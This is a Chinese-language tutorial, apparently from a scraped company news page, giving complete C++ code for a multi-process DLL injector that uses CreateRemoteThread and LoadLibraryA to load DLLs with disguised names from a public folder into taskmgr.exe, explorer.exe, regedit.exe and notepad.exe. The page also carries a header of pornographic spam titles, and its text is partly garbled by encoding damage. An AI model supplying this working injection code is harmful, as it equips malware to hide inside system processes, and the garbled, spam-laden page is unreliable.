日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
利用C++的HashMap結(jié)構(gòu)實(shí)現(xiàn)一個(gè)多DLL注入器

1.技術(shù)實(shí)現(xiàn)背景

在C++代碼中, 如果要實(shí)現(xiàn)將一個(gè)Dll高效的注入到多個(gè)進(jìn)程中, 可以定義一個(gè)HashMap結(jié)構(gòu), 在該結(jié)構(gòu)中, 鍵名用來保存多個(gè)進(jìn)程的名稱, 而對應(yīng)的鍵值可以對應(yīng)的保存一個(gè)或多個(gè)DLL路徑, 這個(gè)HashMap結(jié)構(gòu)定義如下:

創(chuàng)新互聯(lián)主要從事做網(wǎng)站、網(wǎng)站建設(shè)、網(wǎng)頁設(shè)計(jì)、企業(yè)做網(wǎng)站、公司建網(wǎng)站等業(yè)務(wù)。立足成都服務(wù)翁源,十余年網(wǎng)站建設(shè)經(jīng)驗(yàn),價(jià)格優(yōu)惠、服務(wù)專業(yè),歡迎來電咨詢建站服務(wù):18982081108

unordered_map> injectionMap;

而向其填充的鍵和鍵值參考如下:

injectionMap["taskmgr.exe"] = { "C:\\Users\\Public\\mscde.dll","C:\\Users\\Public\\msc23.dll"};
 injectionMap["explorer.exe"] = { "C:\\Users\\Public\\mscde.dll" };
 injectionMap["regedit.exe"] = { "C:\\Users\\Public\\mscde.dll" };
 injectionMap["notepad.exe"] = { "C:\\Users\\Public\\mscde.dll" };

在該結(jié)構(gòu)中, 每個(gè)進(jìn)程可以對應(yīng)注入的一個(gè)或多個(gè)Dll, 實(shí)際上鍵值是一個(gè)字符串?dāng)?shù)組。

這里設(shè)計(jì)一個(gè)多DLL注入器的函數(shù)如下:

int injectDlls(unordered_map > injectionMap) {
 for (auto& injectRow : injectionMap) {
  for (auto& vectorDLL : injectRow.second) {
           injectDLL(vectorDLL, getPIDbyProcName(injectRow.first));
        }
  cout << endl;
 }
 return 0;
}

該函數(shù)實(shí)現(xiàn)的功能如下:

  • 參數(shù)接收一個(gè)HashMap結(jié)構(gòu), 其中鍵保存了要注入的所有進(jìn)程名稱, 其值保存了要注入到進(jìn)程的DLL全路徑字符串。
  • 循環(huán)遍歷該結(jié)構(gòu), 取出鍵中的進(jìn)程名傳給getPIDbyProcName()函數(shù)獲取該進(jìn)程名對應(yīng)的PID; 取出鍵值中的DLL全路徑傳給injectDLL()函數(shù)的第一個(gè)參數(shù), 將獲取的PID作為injectDLL()函數(shù)的第二個(gè)參數(shù)傳入。
  • 最終由injectDLL()函數(shù)完成進(jìn)程DLL注入。

2.實(shí)現(xiàn)通過進(jìn)程名獲取PID

通過進(jìn)程名獲取PID的C++參考代碼如下:

int getPIDbyProcName(const string& procName) {
    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32W pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32W);
    if (Process32FirstW(hSnap, &pe32) != FALSE) {
        while (pid == 0 && Process32NextW(hSnap, &pe32) != FALSE) {
            wstring wideProcName(procName.begin(), procName.end());
            if (wcscmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
                pid = pe32.th32ProcessID;
            }
        }
    }
    CloseHandle(hSnap);
    return pid;
}

以上代碼屬于常規(guī)操作, 不再贅述。

3.實(shí)現(xiàn)DLL遠(yuǎn)程注入

實(shí)現(xiàn)遠(yuǎn)程DLL注入的injectDLL() 函數(shù)參考代碼如下:

bool injectDLL(string dllPath, int pid) {
 char* dllPathChar = new char[dllPath.length() + 1];
 strcpy_s(dllPathChar, dllPath.length() + 1, dllPath.c_str());
 dllPathChar[dllPath.length()] = '\0';
 HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
 if (hProc == NULL) {
  cout << "OpenProcess failed" << endl;
  return false;
 }
 LPVOID LoadLibAddr = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
 if (LoadLibAddr == NULL) {
  cout << "GetProcAddress failed" << endl;
  return false;
 }
 LPVOID dereercomp = VirtualAllocEx(hProc, NULL, strlen(dllPathChar), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 if (dereercomp == NULL) {
  cout << "VirtualAllocEx failed" << endl;
  return false;
 }
 if (WriteProcessMemory(hProc, dereercomp, dllPathChar, strlen(dllPathChar), NULL) == 0) {
  cout << "WriteProcessMemory failed" << endl;
  return false;
 }
 HANDLE hThread = CreateRemoteThread(hProc, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddr, dereercomp, NULL, NULL);
 if (hThread == NULL) {
  cout << "CreateRemoteThread failed" << endl;
  return false;
 }
 CloseHandle(hProc);
 CloseHandle(hThread);
 
 return true;

}

遠(yuǎn)程DLL注入函數(shù)injectDLL() 主要完成了以下工作:

  • 接收兩個(gè)參數(shù), dllPath是要注入的DLL全路徑, pid是目標(biāo)進(jìn)程的ID。
  • 在目標(biāo)進(jìn)程中調(diào)用VirtualAllocEx函數(shù)分配內(nèi)存,需要傳入DLL全路徑。
  • 調(diào)用WriteProcessMemory函數(shù)將DLL全路徑寫入到分配的內(nèi)存中。
  • 動(dòng)態(tài)獲取kernel32.dll中的LoadLibraryA函數(shù)地址。
  • 在目標(biāo)進(jìn)程中通過CreateRemoteThread創(chuàng)建一個(gè)遠(yuǎn)程線程, 將入口點(diǎn)設(shè)置為LoadLibraryA函數(shù), 并將參數(shù)指向目標(biāo)進(jìn)程中的DLL路徑。
  • 關(guān)閉進(jìn)程和遠(yuǎn)程線程句柄。
  • 如果注入成功返回true, 否則返回false。

4.注意事項(xiàng)

以上代碼在布滿實(shí)時(shí)監(jiān)控檢測的機(jī)器上已經(jīng)不再適用于各種非法用途, 但DLL注入仍然在很多場景被用到, 例如: 軟件調(diào)試、逆向工程、輔助工具開發(fā)等。上面的代碼實(shí)現(xiàn)主要是為了分享對DLL注入的技術(shù)細(xì)節(jié)理解和參考。


新聞名稱:利用C++的HashMap結(jié)構(gòu)實(shí)現(xiàn)一個(gè)多DLL注入器
文章位置:http://m.5511xx.com/article/ccssgco.html